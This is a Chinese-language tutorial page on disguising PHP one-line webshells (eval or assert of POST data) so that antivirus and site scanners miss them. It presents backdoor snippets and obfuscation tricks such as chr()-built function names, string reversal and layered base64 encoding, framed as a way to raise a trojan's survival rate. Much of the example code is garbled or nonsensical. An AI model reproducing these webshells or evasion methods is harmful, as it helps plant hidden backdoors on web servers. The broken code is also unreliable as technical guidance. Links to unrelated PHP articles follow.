php一句话木马变形技巧

PHP一句话木马指的是由一条PHP语句组成的一个后门程序,具有隐蔽性高、使用方便等优点。为了防止被杀软或网站审查系统检测出程序的特征,黑客们会进行木马变形。

一、基本架构

了解一句话木马变形技巧前,首先需要了解一句话木马的基本架构。一般情况下,它的基本架构由连接器和木马执行器两个部分组成:

连接器:

一句话木马变形技巧中最常见的是将连接器中‘eval($_POST['pass'])’改成一些被杀软无法识别的变量形式,并添加制造混淆和嵌套的特殊语法,例如:

@eval(urldecode(preg_replace('/[a-z]/ie','chr(ord("$0")-1)',base64_decode('php_shell_code_base64_here'))));

木马执行器:

通常包括系列系统操作。基本语法为:

if (get_magic_quotes_gpc()) {
    function stripslashes_array($array) {
        return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
    }
    $_POST = (!function_exists("get_magic_quotes_gpc") || !get_magic_quotes_gpc()) ? stripslashes_array($_POST) : $_POST;
    $_COOKIE = stripslashes_array($_COOKIE) ;
}
eval('/*your malicious code here*/')

二、变形技巧

一些常见的PHP一句话木马变形技巧如下:

1. 字符串逆置

将一些字符串反转顺序,例如:

$abc = "\x74\x72\x79";
$abc_arr = explode(",", chunk_split($abc, 2, ","));
$abc = implode("", array_reverse($abc_arr));

2. 替换引号

由于一些审查系统会检测匹配引号双引号的存在,如果可以做出以下替换就会让木马更具灵活性,例如:

$_GET{'xxx'}=str_replace(chr(34),'',$cname); 

3. 隐藏函数

为了不让特定函数能被检查到,可以使用魔术变量或间接调用等方法,例如:

call_user_func_array(call_user_func(chr(99).chr(114).chr(101).chr(97).chr(116).chr(101).chr(95).chr(102).chr(117).chr(110).chr(99).chr(116).chr(105).chr(111).chr(110),array(097,114,103,118)),array());

三、示例演示

1. 示例1:字符串替换

例如以下原生的PHP一句话木马代码:

<?php set_magic_quotes_runtime(0); @eval($_POST[act]);?>

经过字符串替换可以变形为以下形式:

<?php $vv = strval($_SERVER); $vv{15} = '$'; $x = substr($vv, 0, 29).chr(34).$vv{28}.$vv{29}.$vv{12}.$vv{2}.$vv{23}.$vv{14}.$vv{16}.$vv{12}.$vv{20}.$vv{2}.$vv{25}.$vv{17}.$vv{2}.$vv{27}.'";'; $f = chr(102).chr(105).'lter'; $$f($x); unset($x); ?>

其中,$vv$_SERVER的字符串,将其中的一些字符替换,最终得到新的执行器。

2. 示例2:进制转换

以下是原始代码:

<?php $fornix = $_POST['pass'];@assert($fornix);?>

修改后的新代码,使用进制转换实现变形:

<?php 
$c=1870; $d=1234567890;
$c=989998415454557780121;$ef=array((($d>>24)^($c>>16)&0xff),(($d>>16)^($c>>8)&0xff),(($d^$c)&0xff),(($d>>8)^($c>>24)&0xff));
$qmpl="\xff\xee\xff\xea\x0c\x00";
$vvv=$qmpl{0}; $bs=5;$mmd=$qmpl{5}; for($j=1;$j<strlen($qmpl);$j++){$bv=$qmpl{$j}; $vvv.=chr(ord($bv)+$bs); $bs+=3; $bs%=7;}; $vvv.=chr($mmd); for($jj=0;$jj<4;$jj++){$vvv.=chr($ef[$jj]);};
$vvv=base64_encode($vvv); $gg=str_replace("=","",base64_encode($vvv)."yj");@assert(base64_decode(strrev($gg))); ?>

以上代码会对传输的content进行进制转换,再用base64进行多次编码,并添加一些特地构造出来的数据,最后用assert函数进行调用。通过这种方式来进行变形能够降低木马在杀软中的与众不同,提高木马的存活性。

希望以上内容能够给您提供一些帮助,在编写安全代码的同时也能够更好地了解常见的木马变形技术。

本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:php一句话木马变形技巧 - Python技术站

(0)
上一篇 2023年5月23日
下一篇 2023年5月23日

相关文章

  • 如何用PHP导出PDF

    我来详细给你描述一下如何用PHP导出PDF的完整攻略。 一、背景介绍 在web开发领域中,PDF是一种非常重要的文档格式,可以方便地打印和查看。而PHP是一种在web开发中被广泛应用的语言,因此如何使用PHP导出PDF文档成为一个非常重要的技能点。下面我将介绍如何使用PHP来生成PDF文档。 二、基本概念 在讲解如何生成PDF文档之前,我们需要了解一些基本概…

    PHP 2023年5月26日
    00
  • 在Mac OS的PHP环境下安装配置MemCache的全过程解析

    下面是在Mac OS的PHP环境下安装配置MemCache的全过程解析。 环境准备 首先需要安装 XAMPP,XAMPP 是针对 Mac OS 平台的集成安装包,它包含 Apache、MySQL、PHP、Perl 和其他一些组件。在官网上下载并安装 XAMPP 后,启动 Apache 和 Memcache。 安装完 XAMPP 后,安装 Memcache 模…

    PHP 2023年5月24日
    00
  • PHP基于swoole多进程操作示例

    下面我将详细讲解PHP基于swoole多进程操作的完整攻略,该攻略主要包括以下内容: swoole多进程的概念及原理 swoole多进程应用场景 swoole多进程的具体实现 两条示例说明 1. swoole多进程的概念及原理 swoole是PHP的一个协程框架,它提供了基于TCP/UDP的协议、HTTP协议,同时还支持异步、多进程等特性。swoole多进程…

    PHP 2023年5月27日
    00
  • php实现的AES加密类定义与用法示例

    下面我将详细讲解“PHP实现的AES加密类定义与用法示例”的攻略。 简介 AES是一种对称密钥加密算法,目前广泛使用于各类系统中。在PHP中实现AES加密需要用到openssl扩展。本文将介绍如何在PHP中实现AES加密,并提供一个封装好的AES加密类。 安装openssl扩展 PHP实现AES加密需要安装openssl扩展,如果已经安装则可忽略此步骤。可以…

    PHP 2023年5月26日
    00
  • php异常与错误处理机制概念及使用介绍

    PHP异常与错误处理机制概念及使用介绍 异常和错误 在 PHP 中,错误和异常是不同的概念。错误通常是发生在代码中的语法错误或逻辑错误,如尝试调用未定义的函数、除数为 0 等等。错误会导致代码停止执行,并返回 PHP 内部定义的错误类型,比如 E_NOTICE, E_WARNING 等等。 而异常则是代码在运行期间发生了特殊的情况,比如网络连接异常、数据库连…

    PHP 2023年5月24日
    00
  • 如何通过Linux命令行使用和运行PHP脚本

    使用Linux命令行运行PHP脚本是开发Web应用时非常重要的一环,本文将详细讲解如何在Linux命令行中使用和运行PHP脚本。 安装PHP解释器 在Linux服务器上使用PHP脚本,首先需要确保PHP解释器已经安装。在绝大多数Linux系统中,PHP解释器可以通过包管理器简单地进行安装,以下命令可用于Ubuntu/Debian系统的安装: sudo apt…

    PHP 2023年5月24日
    00
  • PHP laravel实现导出PDF功能

    以下是关于“PHP Laravel实现导出PDF功能”的完整使用攻略: 基础知识 在了解PHP Laravel实现导出PDF功能之前需要掌握一些基础知识,包括PDF的基本概念、LaravelPDF的应用等。以下是一些常见的基础知识: PDF的基本概念,包括PDF的定义、PDF的优点、PDF的应用等。 Laravel中PDF的应用,包括Laravel中PDF的…

    PHP 2023年5月12日
    00
  • php单文件版在线代码编辑器

    介绍 php单文件版在线代码编辑器是一个简单的在线代码编辑器,可以帮助用户编写、测试和调试PHP、HTML、CSS和JavaScript代码,而无需离开网站。它的主要优点是轻量级和易于使用。 安装和配置 安装过程非常简单,只需要将单文件版在线代码编辑器的文件直接下载并提取到网站目录中。然后,我们需要进行一些基本的配置,以确保在线编辑器正常工作。 打开conf…

    PHP 2023年5月23日
    00
合作推广
合作推广
分享本页
返回顶部